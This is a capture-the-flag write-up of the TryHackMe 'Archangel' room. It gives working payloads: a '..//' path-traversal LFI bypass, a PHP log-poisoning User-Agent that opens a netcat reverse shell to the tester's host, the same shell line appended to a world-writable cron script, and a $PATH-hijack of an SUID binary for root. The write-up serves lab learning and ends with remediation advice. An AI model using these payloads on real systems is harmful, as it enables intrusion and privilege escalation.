Skip to main content

Command Palette

Search for a command to run...

Archangel Writeup: Log Poisoning and $PATH Hijacking on TryHackMe

Updated
β€’12 min read

Credits

Room: β€œArchangel”
Creator: Archangel

Introduction

  • The Target: Exploiting LFI to get RCE via Log Poisoning

  • The Problem: The default ../ path was filtered by the server when trying to exploit the LFI

  • The Tools: RustScan, Feroxbuster & FFUF

Reconnaissance

I started by identifying open ports on the machine:

s1de@debian:~$ rustscan -a 10.82.132.19 -- -sVC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at "/home/s1de/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.82.132.19:22
Open 10.82.132.19:80
[...]
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))

There were 2 open ports: SSH(22) and HTTP(80).
My next step was to browse through the website and try to find anything interesting there:

I browsed manually through the pages and didn’t find anything useful, so I launched FeroxBuster:

s1de@debian:~$ feroxbuster --url http://10.82.132.19

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.82.132.19/
 🚩  In-Scope Url          β”‚ 10.82.132.19
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.13.1
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      313c http://10.82.132.19/images => http://10.82.132.19/images/
200      GET       22l       56w      642c http://10.82.132.19/layout/scripts/jquery.backtotop.js
[...]
301      GET        9l       28w      312c http://10.82.132.19/flags => http://10.82.132.19/flags/
200      GET        1l        5w       93c http://10.82.132.19/flags/flag.html

There were quite a few different files and directories, but one of them grabbed my attention immediately: the flags/flag.html file.

Unfortunately, when I went to the page, I got redirected and Rick-Rolled, so that’s quite certainly not the right path:

Since there were no useful directories or files on the web server, I started looking further and launched VHost discovery after I’d added the archangel.thm to the local hostnames in /etc/hosts to use it instead of the machine IP addres:

s1de@debian:~$ ffuf -u http://mafialive.thm -H "Host: FUZZ.mafialive.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 19188 -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://mafialive.thm
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.mafialive.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 19188
________________________________________________

:: Progress: [5000/5000] :: Job [1/1] :: 479 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

Sadly, nothing was found.
As a last resort, I inspected the source code of the website and found the support@mafialive.thm email:

I added mafialive.thm to /etc/hosts and navigated to my browser. Indeed, this was something new. It was an β€œUnder Development” page where I found the first flag:

Since the page was almost empty and there were no links, I started FeroxBuster to find something else:

s1de@debian:~$ feroxbuster --url http://mafialive.thm/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://mafialive.thm/
 🚩  In-Scope Url          β”‚ mafialive.thm
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.13.1
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
200      GET       15l       21w      286c http://mafialive.thm/test.php
[...]

The only page it found was test.php:

After I’d clicked the button, a new view parameter with the /var/www/html/development_testing/mrrobot.php path appeared in the search bar:

Exploiting LFI

It was an absolute path (an address of a file/directory starting from the root page β€œ/”), so it gave me a clue that there might be an LFI vulnerability.
I added ../../../../../../../../../etc/passwd to the development_testing directory, but it got me nothing:

I attempted to go a different route this time. I used Php Filters to encode the content of mrrobot.php and see if the web server would show it.
The payload was the following: view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php.
The convert.base64-encode function was used to encode the content of the resource file with Base64 and display it on the page.
This worked as expected:

After decoding the string, I got the content of the page, so at that point I was sure that this method works fine:

<?php echo 'Control is an illusion'; ?>

Then, I did the same with the main test.php page. After decoding, I got the following:

<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>

    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

        //FLAG: <REDACTED>

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
        if(isset($_GET["view"])){
        if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
                include $_GET['view'];
            }else{

        echo 'Sorry, Thats not allowed';
            }
    }
        ?>
    </div>
</body>

</html>

Firstly, there was another flag, and secondly, it clearly showed me how the path filtering worked.

Let’s break it down:

  1. The containsStr is a function that checks for occurance of a substring in a string.

  2. Then, the !containsStr($_GET['view'], '../..') part sees if there are any ../.. substring in the url. If there are, then the β€œSorry, Thats not allowed” is displayed on the page. Otherwise, the content of the file is shown.

I immediately knew how to bypass the filtering at that point, so I changed ../../../ to ..//..//..// to avoid the filtered ../.. pattern. This resulted in the following payload:

  • view=/var/www/html/development_testing/..//..//..//..//..//..//..//etc/passwd

It worked perfectly and got me the content of the /etc/passwd file:

Exploiting RCE

I knew I needed a reverse shell; hence, I required an RCE vulnerability for that.
Because there is an LFI, I navigated to access logs to attempt Log Poisoning.

Access logs save every connection of a user to the web server. This includes things like an IP address and User-Agent header.

Log Poisoning is a way of exploiting Remote Code Execution by putting something like <?php phpinfo(); ?> instead of your browser User-Agent header. After that, you access the log page, and the code from the header gets executed on the server. The reason this worked in this case was because of the include() function. The web app was meant to run only the test.php and mrrobot.php pages, but since an LFI vulnerability was discovered, the same function was used to display the access.log page.
Because I had the PHP code instead of my User Agent, it got executed by the include() function, and I got an RCE.

To find an access log file, I returned to the output of RustScan to check what type of web server is running:

80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))

It was an Apache server. The default path for this type of log on this server would be: var/log/apache2/access.log.
And indeed, the content of the file was displayed:

First, I prepared the Netcat listener on port 1928:

s1de@debian:~$ nc -lvnp 1928
listening on [any] 1928 ...

Then, to change the User Agent, I used Curl with the -A flag. I ran the command with the reverse shell instead of the agent header:

curl http://mafialive.thm -A "<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YourIP> 1928 >/tmp/f'); ?>"

After that, I reloaded the access.log page and got the shell:

Privilege Escalation: User

I upgraded the shell using the following commands:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color

Then I pressed [Ctrl + Z] and entered this command:

stty raw -echo; fg

After ensuring that there were no useful files in the directory I was in, I navigated immediately to /home, found the archangel user. Here I found another flag, myfile, and secret:

Inside myfiles I found a passwordbackup file, that contained another Rick Roll link.
The secret directory was unavailable to me due to a lack of permissions.

I decided to search the system for other ways of escalating privileges. Inside the /opt I found 2 files:

The access to backupfiles was restricted, but the helloworld.sh contained the following:

#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

It didn’t look like a good finding, but then I looked at the name of the backupfiles directory again, and thought that there might be some automated backup process in place, so I checked the /etc/crontab file and, indeed, found the process:

www-data@ubuntu:/opt$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user    command
*/1 *   * * *   archangel /opt/helloworld.sh
[...]

The /opt/helloworld.sh script is executed by archangel every minute.
This meant that if I could modify the contents of the helloworld.sh file, I could insert a reverse shell there, and it would be executed by archangel, which would give me a user shell.

The great news was that there was an -rwxrwxrwx permission on the file, which meant that anyone could edit it:

I started a new Netcat listener on port 1927:

s1de@debian:~$ nc -lvnp 1927
listening on [any] 1927 ...

Then I added rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YourIP> 1927 >/tmp/f to the end of helloworld.sh:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YourIP> 1927 >/tmp/f" >> helloworld.sh

I waited for some time and got the archangel shell:

Then I upgraded it and proceeded to the final privilege escalation.

Privilege Escalation: Root

I headed to the directory that was previously unavailable to me - secret.
Inside, I found another flag:

However, there was something even more enticing: the backup binary with an SUID permission.

In Linux, SUID (Set User ID) is a special type of file permission that allows a user to execute a binary with the permissions of the file’s owner rather than the permissions of the user who is currently logged in.

FeatureStandard BinaryArchangel β€˜backup’ Binary
Ownerrootroot
Permissions-rwxr-xr-x-rwsr-xr-x (SUID set)
Executes as…The Current UserThe Owner (root)

The owner of the backup binary file was root, so I needed to figure out how to leverage SUID to get the root shell.

I examined the content of the file, but it was unreadable with cat:

archangel@ubuntu:~/secret$ cat backup 
@@@@�ppEE   ���-�=�=hp�-�=�=�888 XXXDDS�td888 P�td< < < DDQ�tdR�td�-�=�=XX/lib64/ld-linux-x86-64.so.2GNU�GNU�����0�W�ΐ ��m�7 <TRUNCATED>

I used the strings command to only pull human-readable text, which proved useful:

archangel@ubuntu:~/secret$ strings backup 
/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
[...]
cp /home/user/archangel/myfiles/* /opt/backupfiles
[...]

One of the strings was a cp command: cp /home/user/archangel/myfiles/* /opt/backupfiles (the user directory is likely a mistake by the author).
Why this is a golden finding is that the path to the command was not absolute, but relative.
Instead of being /bin/cp, it was just cp.

When we use absolute paths, we tell the computer exactly where to look for the command, ignoring the $PATH variable entirely.
We can think of the $PATH variable as an ordered search list. When you type cp, for example, the system starts at the first directory in the list, looks for a file named cp, and if it doesn’t find it, moves to the second, then third, and so on.

Currently, the list looks like this:

archangel@ubuntu:~/secret$ echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

I created a cp file in /tmp with /bin/bash -p (which would give me the bash shell) and granted it execute permissions:

echo "/bin/bash -p" > cp
chmod +x cp

Then I added the /tmp directory to the $PATH variable:

archangel@ubuntu:~/secret$ export PATH=/tmp:$PATH

This tells the system to look in /tmp for commands before looking in the standard system folders (/bin, /usr/bin, etc.)

Now, the variable looks like this:

archangel@ubuntu:~/secret$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

Everything was in place, so now I just executed the file and got the root shell and the final flag:

When a file has an SUID bit, you can just run it without the sudo -u command, and it will be executed with the permissions of the file’s owner right away.


Conclusion

Archangel proves that security relies on the smallest details. We bypassed a weak LFI filter with a simple ..// string, turned a passive log file into an active shell via poisoning, and finally leveraged a misconfigured SUID binary. The move from www-data to root wasn’t about complex exploits, but rather understanding how Linux searches for commands. By prepending a malicious directory to our $PATH, we turned a legitimate backup script into a privilege escalation vector.

Remediation

  • Hardcode Absolute Paths: Always use /bin/cp instead of cp in SUID binaries to prevent $PATH hijacking. This ensures the binary is path-independent and cannot be subverted by user-controlled environment variables.

  • Apply the Principle of Least Privilege: Remove the SUID bit from binaries that don’t strictly require it.

  • Validate LFI Inputs: Use strict allow-lists for file inclusions rather than trying to filter characters like ../. Filter bypasses like ..// demonstrate why blacklisting specific strings is a failing strategy.

  • Harden Log Permissions: Ensure web server logs (access.log) are not readable by the www-data user to mitigate poisoning risks.